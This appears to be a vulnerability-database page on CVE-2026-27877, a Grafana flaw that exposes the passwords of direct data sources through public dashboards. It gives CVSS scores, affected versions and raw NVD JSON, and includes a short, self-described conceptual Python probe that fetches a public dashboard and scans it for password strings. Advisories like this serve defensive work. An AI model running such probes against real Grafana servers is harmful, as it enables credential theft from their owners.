Security Vulnerability Report
中文
CVE-2026-27877 CVSS 6.5 MEDIUM

CVE-2026-27877

Published: 2026-03-27 15:16:51
Last Modified: 2026-05-10 14:16:48

Description

When using public dashboards and direct data-sources, all direct data-sources' passwords are exposed despite not being used in dashboards. No passwords of proxied data-sources are exposed. We encourage all direct data-sources to be converted to proxied data-sources as far as possible to improve your deployments' security.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
Grafana (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # PoC for CVE-2026-27877: Grafana Direct Data Source Password Exposure # This script simulates checking a public dashboard response for leaked credentials. target_url = "http://target-grafana-url/public/dashboards/uid" headers = { "User-Agent": "Mozilla/5.0 (Vulnerability Scanner)" } try: # Simulate accessing a public dashboard response = requests.get(target_url, headers=headers) if response.status_code == 200: data = response.json() print("[*] Response received. Parsing for direct data sources...") # Check for datasource definitions in the response # Vulnerable versions may expose passwords in 'jsonData' or similar fields if 'dashboard' in data: # Logic to inspect datasource definitions within the dashboard JSON # This is a conceptual check based on the vulnerability description dashboard_data = json.dumps(data['dashboard']) if "password" in dashboard_data or "pass" in dashboard_data: print("[!] Potential password leak detected in dashboard response!") # In a real exploit, one would parse the specific JSON path holding credentials else: print("[+] No obvious password strings found in basic check.") else: print(f"[-] Failed to retrieve dashboard. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27877", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:51.050", "lastModified": "2026-05-10T14:16:48.383", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "When using public dashboards and direct data-sources, all direct data-sources' passwords are exposed despite not being used in dashboards.\n\nNo passwords of proxied data-sources are exposed. We encourage all direct data-sources to be converted to proxied data-sources as far as possible to improve your deployments' security."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.3.0", "matchCriteriaId": "0714C0DD-B9B9-4400-AE9C-C2C60BF57743"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.6.14", "versionEndExcluding": "12.0.0", "matchCriteriaId": "5845D5E9-8631-4F0B-B100-24DCDE4C8C1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.10", "versionEndExcluding": "12.2.0", "matchCriteriaId": "AE3F977F-FF94-4A15-918C-54241EC49560"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.2.8", "versionEndExcluding": "12.3.0", "matchCriteriaId": "CB499815-0B44-4BF9-AB14-F7272EF0173F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.3.6", "versionEndExcluding": "12.4.0", "matchCriteriaId": "7F2B145A-24E0-4C0F-BF82-FFD2B1301B51"}]}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-27877", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://grafana.com/security/security-advisories/cve-2026-27877", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}